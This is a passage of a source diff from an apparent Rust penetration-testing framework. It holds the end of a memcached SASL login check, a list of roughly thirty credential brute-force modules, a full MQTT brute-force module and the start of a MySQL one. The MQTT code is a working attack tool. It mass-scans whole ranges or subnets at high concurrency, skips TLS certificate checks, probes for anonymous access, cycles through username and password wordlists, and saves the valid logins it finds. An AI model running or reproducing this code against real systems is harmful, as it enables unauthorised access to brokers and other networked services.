return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Connection error: {}", err_str));
|
||||
}
|
||||
};
|
||||
|
||||
let packet = build_sasl_auth_packet(username, password);
|
||||
|
||||
// Send the SASL auth packet
|
||||
match timeout(connect_timeout, stream.write_all(&packet)).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Write error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Write timeout")),
|
||||
}
|
||||
|
||||
// Read the response (at least 24-byte header)
|
||||
let mut buf = vec![0u8; 256];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n >= 24 => n,
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
return Err(anyhow!(
|
||||
"Incomplete binary response ({} bytes, need >= 24)",
|
||||
n
|
||||
));
|
||||
}
|
||||
Ok(Ok(_)) => return Err(anyhow!("Empty response from server")),
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
match parse_binary_response_status(&buf[..n]) {
|
||||
Some(SASL_STATUS_SUCCESS) => Ok(true),
|
||||
Some(SASL_STATUS_AUTH_ERROR) => Ok(false),
|
||||
Some(status) => Err(anyhow!("Unexpected SASL response status: 0x{:04x}", status)),
|
||||
None => Err(anyhow!("Invalid binary protocol response")),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
|
||||
pub mod couchdb_bruteforce;
|
||||
pub mod elasticsearch_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod http_basic_bruteforce;
|
||||
pub mod imap_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod memcached_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
pub mod mysql_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod postgres_bruteforce;
|
||||
pub mod proxy_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod redis_bruteforce;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod sample_cred_check;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_spray;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod telnet_hose;
|
||||
pub mod vnc_bruteforce;
|
||||
@@ -0,0 +1,757 @@
|
||||
//! MQTT Brute Force Module
|
||||
//!
|
||||
//! High-performance MQTT authentication testing with:
|
||||
//! - TLS/SSL support (port 8883)
|
||||
//! - Anonymous authentication detection
|
||||
//! - Intelligent error classification
|
||||
//! - Progress tracking and statistics
|
||||
//! - Multiple attack modes (full combo, linear, single user/pass)
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "MQTT Brute Force".to_string(),
|
||||
description: "High-performance MQTT authentication testing with TLS/SSL support, anonymous authentication detection, intelligent error classification, and multiple attack modes.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
|
||||
// MQTT Protocol Constants
|
||||
const MQTT_PACKET_CONNECT: u8 = 0x10;
|
||||
const MQTT_PACKET_CONNACK: u8 = 0x20;
|
||||
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
|
||||
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
|
||||
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
|
||||
|
||||
// MQTT Connect Flags
|
||||
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
|
||||
const MQTT_FLAG_USERNAME: u8 = 0x80;
|
||||
const MQTT_FLAG_PASSWORD: u8 = 0x40;
|
||||
|
||||
// MQTT Return Codes
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum MqttReturnCode {
|
||||
Accepted,
|
||||
UnacceptableProtocol,
|
||||
IdentifierRejected,
|
||||
ServerUnavailable,
|
||||
BadCredentials,
|
||||
NotAuthorized,
|
||||
Unknown(u8),
|
||||
}
|
||||
|
||||
impl MqttReturnCode {
|
||||
fn from_byte(b: u8) -> Self {
|
||||
match b {
|
||||
0x00 => Self::Accepted,
|
||||
0x01 => Self::UnacceptableProtocol,
|
||||
0x02 => Self::IdentifierRejected,
|
||||
0x03 => Self::ServerUnavailable,
|
||||
0x04 => Self::BadCredentials,
|
||||
0x05 => Self::NotAuthorized,
|
||||
_ => Self::Unknown(b),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_auth_failure(&self) -> bool {
|
||||
matches!(self, Self::BadCredentials | Self::NotAuthorized)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Accepted => "Connection Accepted",
|
||||
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
|
||||
Self::IdentifierRejected => "Identifier Rejected",
|
||||
Self::ServerUnavailable => "Server Unavailable",
|
||||
Self::BadCredentials => "Bad Username or Password",
|
||||
Self::NotAuthorized => "Not Authorized",
|
||||
Self::Unknown(_) => "Unknown Return Code",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Attack Result
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum AttackResult {
|
||||
Success(String, String), // (username, password)
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let port = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
|
||||
let use_tls = if port == 8883 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Port 8883 detected - TLS enabled by default".blue()
|
||||
);
|
||||
true
|
||||
} else {
|
||||
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
|
||||
};
|
||||
|
||||
let username_wordlist =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&username_wordlist)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&password_wordlist)?);
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let client_id =
|
||||
cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
|
||||
let client_id = std::sync::Arc::new(client_id);
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "MQTT",
|
||||
default_port: port,
|
||||
state_file: "mqtt_brute_hose_state.log",
|
||||
default_output: "mqtt_brute_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip, port| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
let cid = client_id.clone();
|
||||
async move {
|
||||
// TCP connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
match try_mqtt_auth(&addr, user, pass, &cid, use_tls).await {
|
||||
AttackResult::Success(u, p) => {
|
||||
let timestamp = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", timestamp, ip, port, u, p);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {}:{}:{}:{}", ip, port, u, p)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
let err = e.to_lowercase();
|
||||
if err.contains("refused")
|
||||
|| err.contains("timeout")
|
||||
|| err.contains("reset")
|
||||
{
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
|
||||
let use_tls = if port == 8883 {
|
||||
true
|
||||
} else {
|
||||
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
|
||||
};
|
||||
let username_wordlist =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let password_wordlist =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&username_wordlist)?;
|
||||
let passes = load_lines(&password_wordlist)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000)
|
||||
.await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"mqtt_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
let client_id =
|
||||
cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mqtt",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mqtt_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let cid = client_id.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_mqtt_auth(&addr, &user, &pass, &cid, use_tls).await {
|
||||
AttackResult::Success(_, _) => LoginResult::Success,
|
||||
AttackResult::AuthFailed => LoginResult::AuthFailed,
|
||||
AttackResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
AttackResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let normalized_target = normalize_target(&target.to_string())?;
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", normalized_target).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// Port
|
||||
let port: u16 = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
|
||||
|
||||
// TLS auto-detection for port 8883
|
||||
let use_tls = if port == 8883 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Port 8883 detected - TLS enabled by default".blue()
|
||||
);
|
||||
true
|
||||
} else {
|
||||
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
|
||||
};
|
||||
|
||||
// Anonymous authentication test
|
||||
let test_anonymous = cfg_prompt_yes_no(
|
||||
"test_anonymous",
|
||||
"Test anonymous authentication first?",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Client ID
|
||||
let client_id = cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
|
||||
|
||||
// Wordlists
|
||||
let username_wordlist =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
// Concurrency
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Concurrent connections", 10, 1, 500).await? as usize;
|
||||
|
||||
// Stop on first success
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
|
||||
|
||||
// Save results
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "mqtt_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// Verbose
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
// Combo mode
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] TLS: {}", if use_tls { "Enabled" } else { "Disabled" }).cyan()
|
||||
);
|
||||
|
||||
let addr = format!("{}:{}", normalized_target, port);
|
||||
|
||||
// Test anonymous authentication before bruteforce
|
||||
if test_anonymous {
|
||||
crate::mprintln!("{}", "[*] Testing anonymous authentication...".blue());
|
||||
match try_mqtt_auth(&addr, "", "", &client_id, use_tls).await {
|
||||
AttackResult::Success(_, _) => {
|
||||
crate::mprintln!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&normalized_target,
|
||||
port,
|
||||
"mqtt",
|
||||
"(anonymous)",
|
||||
"(no password)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/mqtt_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
if stop_on_success {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found 1 valid credential(s):").green().bold()
|
||||
);
|
||||
crate::mprintln!(" {} {} (anonymous):(no password)", "✓".green(), addr);
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
AttackResult::AuthFailed => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] Anonymous access denied (authentication required)".yellow()
|
||||
);
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] Connection error during anonymous test: {}", e).yellow()
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Continuing with credential brute force...".blue());
|
||||
}
|
||||
AttackResult::ProtocolError(e) => {
|
||||
crate::mprintln!("{}", format!("[!] Protocol error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
// Generate credential combos
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
// Build the try_login closure capturing MQTT-specific config
|
||||
let try_login = move |_target: String, _port: u16, user: String, pass: String| {
|
||||
let cid = client_id.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", _target, _port);
|
||||
match try_mqtt_auth(&addr, &user, &pass, &cid, use_tls).await {
|
||||
AttackResult::Success(_, _) => LoginResult::Success,
|
||||
AttackResult::AuthFailed => LoginResult::AuthFailed,
|
||||
AttackResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
AttackResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized_target,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries: 3,
|
||||
service_name: "mqtt",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mqtt_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored MQTT responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "mqtt_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# MQTT Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ MQTT Brute Force Module v2.0 ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MQTT Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
async fn try_mqtt_auth(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
use_tls: bool,
|
||||
) -> AttackResult {
|
||||
// Connect with timeout
|
||||
let stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return AttackResult::ConnectionError(e.to_string()),
|
||||
};
|
||||
|
||||
if use_tls {
|
||||
// Wrap TCP stream with TLS for secure MQTT (port 8883)
|
||||
use tokio_rustls::rustls::pki_types::ServerName;
|
||||
|
||||
let connector = crate::native::async_tls::make_dangerous_tls_connector();
|
||||
|
||||
// Extract hostname from addr (strip port)
|
||||
let hostname = addr
|
||||
.rsplit_once(':')
|
||||
.map(|(h, _)| h.trim_matches(|c| c == '[' || c == ']'))
|
||||
.unwrap_or(addr);
|
||||
|
||||
let server_name = match ServerName::try_from(hostname.to_string()) {
|
||||
Ok(sn) => sn,
|
||||
Err(e) => return AttackResult::ConnectionError(format!("Invalid server name: {}", e)),
|
||||
};
|
||||
|
||||
let tls_stream = match tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
connector.connect(server_name, stream),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
return AttackResult::ConnectionError(format!("TLS handshake failed: {}", e))
|
||||
}
|
||||
Err(_) => return AttackResult::ConnectionError("TLS handshake timeout".to_string()),
|
||||
};
|
||||
|
||||
match mqtt_handshake(tls_stream, username, password, client_id).await {
|
||||
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
|
||||
Ok(false) => AttackResult::AuthFailed,
|
||||
Err(e) => AttackResult::ProtocolError(e.to_string()),
|
||||
}
|
||||
} else {
|
||||
match mqtt_handshake(stream, username, password, client_id).await {
|
||||
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
|
||||
Ok(false) => AttackResult::AuthFailed,
|
||||
Err(e) => AttackResult::ProtocolError(e.to_string()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn mqtt_handshake<S>(
|
||||
mut stream: S,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
) -> Result<bool>
|
||||
where
|
||||
S: AsyncRead + AsyncWrite + Unpin,
|
||||
{
|
||||
// Build CONNECT packet
|
||||
let packet = build_connect_packet(username, password, client_id)?;
|
||||
|
||||
// Send CONNECT
|
||||
stream
|
||||
.write_all(&packet)
|
||||
.await
|
||||
.context("Failed to send CONNECT")?;
|
||||
stream.flush().await.context("Failed to flush")?;
|
||||
|
||||
// Read CONNACK
|
||||
let mut header = [0u8; 2];
|
||||
let read_result = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut header),
|
||||
)
|
||||
.await;
|
||||
|
||||
match read_result {
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
}
|
||||
|
||||
if header[0] != MQTT_PACKET_CONNACK {
|
||||
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
|
||||
}
|
||||
|
||||
let remaining_len = header[1] as usize;
|
||||
if remaining_len < 2 {
|
||||
return Err(anyhow!("CONNACK too short"));
|
||||
}
|
||||
|
||||
if remaining_len > 64 {
|
||||
return Err(anyhow!("CONNACK too large: {} bytes", remaining_len));
|
||||
}
|
||||
let mut payload = vec![0u8; remaining_len];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.context("Read timeout")?
|
||||
.context("Failed to read CONNACK payload")?;
|
||||
|
||||
// Parse return code (byte 1 of variable header)
|
||||
let return_code = MqttReturnCode::from_byte(payload[1]);
|
||||
|
||||
// Send DISCONNECT on success
|
||||
if return_code == MqttReturnCode::Accepted {
|
||||
if let Err(e) = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if return_code.is_auth_failure() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// ServerUnavailable (0x03) is transient — return Ok(false) so engine retries
|
||||
// UnacceptableProtocol (0x01) and IdentifierRejected (0x02) are config errors — not retryable
|
||||
match return_code {
|
||||
MqttReturnCode::ServerUnavailable => Ok(false),
|
||||
_ => Err(anyhow!("MQTT error: {}", return_code.description())),
|
||||
}
|
||||
}
|
||||
|
||||
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
|
||||
if username.len() > 65535 {
|
||||
return Err(anyhow!("Username exceeds MQTT max length (65535 bytes)"));
|
||||
}
|
||||
if password.len() > 65535 {
|
||||
return Err(anyhow!("Password exceeds MQTT max length (65535 bytes)"));
|
||||
}
|
||||
if client_id.len() > 65535 {
|
||||
return Err(anyhow!("Client ID exceeds MQTT max length (65535 bytes)"));
|
||||
}
|
||||
|
||||
let mut var_header = Vec::new();
|
||||
|
||||
// Protocol Name
|
||||
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
|
||||
|
||||
// Protocol Level
|
||||
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
|
||||
|
||||
// Connect Flags
|
||||
let mut flags = MQTT_FLAG_CLEAN_SESSION;
|
||||
if !username.is_empty() {
|
||||
flags |= MQTT_FLAG_USERNAME;
|
||||
}
|
||||
if !password.is_empty() {
|
||||
flags |= MQTT_FLAG_PASSWORD;
|
||||
}
|
||||
var_header.push(flags);
|
||||
|
||||
// Keep Alive (60 seconds)
|
||||
var_header.extend_from_slice(&60u16.to_be_bytes());
|
||||
|
||||
// Payload
|
||||
let mut payload = Vec::new();
|
||||
|
||||
// Client ID (required)
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
// Username (optional)
|
||||
if !username.is_empty() {
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
}
|
||||
|
||||
// Password (optional)
|
||||
if !password.is_empty() {
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
}
|
||||
|
||||
// Calculate remaining length
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
let remaining_bytes = encode_remaining_length(remaining_length)?;
|
||||
|
||||
// Build final packet
|
||||
let mut packet =
|
||||
Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
|
||||
packet.push(MQTT_PACKET_CONNECT);
|
||||
packet.extend_from_slice(&remaining_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
Ok(packet)
|
||||
}
|
||||
|
||||
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
|
||||
if length > 268_435_455 {
|
||||
return Err(anyhow!("Packet too large"));
|
||||
}
|
||||
|
||||
let mut bytes = Vec::with_capacity(4);
|
||||
loop {
|
||||
let mut byte = (length % 128) as u8;
|
||||
length /= 128;
|
||||
if length > 0 {
|
||||
byte |= 0x80;
|
||||
}
|
||||
bytes.push(byte);
|
||||
if length == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(bytes)
|
||||
}
|
||||
@@ -0,0 +1,725 @@
|
||||
//! MySQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of MySQL native password authentication.
|
||||
//! Supports single-target, subnet, and mass scan modes.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read HandshakeV10 packet (protocol version 10)
|
||||
//! 2. Extract 20-byte auth salt (scramble)
|
||||
//! 3. Compute auth_response = SHA1(password) XOR SHA1(salt + SHA1(SHA1(password)))
|
||||
//! 4. Send HandshakeResponse41 packet
|
||||
//! 5. Read OK (0x00) / ERR (0xFF) response
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use sha1::{Sha1, Digest};
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
